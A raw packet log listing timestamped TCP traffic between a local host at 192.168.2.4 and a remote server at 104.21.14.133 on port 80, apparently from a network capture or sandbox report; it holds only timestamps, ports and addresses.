Oct 11, 2024 04:10:41.757711887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.757734060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.757750988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.757769108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.757785082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.757786036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.757833958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.758544922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.758565903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.758590937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.758605003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.758619070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.758622885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.758665085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.758692026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.759402037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.759457111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.759516001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.759531021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.759547949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.759567976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.759597063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.759625912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.760154009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.760205984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.760334969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.760351896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.760368109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.760385036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.760385990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.760418892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.760454893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.761028051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.761079073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.761214018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.761230946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.761245012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.761275053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.761305094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840559959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840591908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840606928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840622902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840640068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840640068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840655088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840672016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840677977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840688944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840704918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840720892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840723991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840739012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840754032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840754032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.840781927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.840794086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841197968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841217995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841234922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841248035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841253042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841268063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841269016 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841285944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841291904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841303110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841317892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841332912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841334105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841351032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841356993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841378927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841413975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841658115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841686964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841705084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841706991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841722965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841732979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841742039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841749907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841758013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841772079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841775894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841790915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841794014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841810942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841814041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841826916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841845036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:41.841850042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841871977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:41.841907024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.008833885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008867025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008883953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008898973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008904934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.008913994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008932114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008946896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.008954048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.008955002 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.008965015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009005070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009056091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009155035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009181023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009196997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009208918 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009215117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009231091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009232044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009248972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009249926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009264946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009268045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009282112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009291887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009304047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009318113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009332895 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009342909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009351015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009358883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009376049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009391069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009392023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009417057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009427071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009435892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009444952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009453058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009469032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009485006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009489059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009501934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009516954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009521008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009535074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009551048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009553909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009567022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009577990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009582996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009601116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009609938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009617090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009634972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009639025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009651899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009670973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.009677887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009716034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.009736061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.013672113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.013731956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.013945103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.013966084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.013992071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.013997078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014009953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014017105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014029980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014041901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014048100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014061928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014065981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014084101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014085054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014101028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014116049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014118910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014137983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014153957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014157057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014170885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014174938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014188051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014219046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014251947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014307976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014324903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014359951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014359951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014393091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014411926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014461994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014477015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014493942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014507055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014508963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014525890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014527082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014544010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014556885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014560938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014579058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014592886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014602900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014620066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014622927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014637947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.014652014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.014692068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015131950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015147924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015165091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015182018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015189886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015203953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015208006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015221119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015233040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015245914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015250921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015264034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015266895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015285969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015286922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015301943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015319109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015322924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015335083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015353918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015360117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015373945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015377998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015403986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015418053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015424013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.015459061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.015495062 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016027927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016045094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016061068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016077995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016109943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016201973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016217947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016233921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016249895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016252041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016267061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016283035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016289949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016299009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016314983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016328096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016331911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016347885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016349077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016365051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016366959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016381979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016397953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016408920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016452074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.016980886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.016998053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017021894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017034054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017040014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017056942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017069101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017071962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017088890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017112970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017113924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017129898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017132998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017148018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017157078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017164946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017182112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017198086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017204046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017213106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017229080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.017231941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017255068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.017278910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106369019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106448889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106483936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106509924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106527090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106530905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106543064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106547117 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106568098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106571913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106595039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106600046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106611013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106618881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106633902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106642962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106650114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106657028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106667995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106678963 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106695890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106703043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106713057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106724024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106730938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106745005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106756926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106764078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106775045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106786013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106790066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106806993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106806993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106823921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106831074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106841087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106856108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106869936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106870890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106885910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106894970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106903076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106913090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106934071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106951952 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106957912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106973886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.106975079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106992960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.106998920 CEST	49733	80	192.168.2.4	104.21.14.133
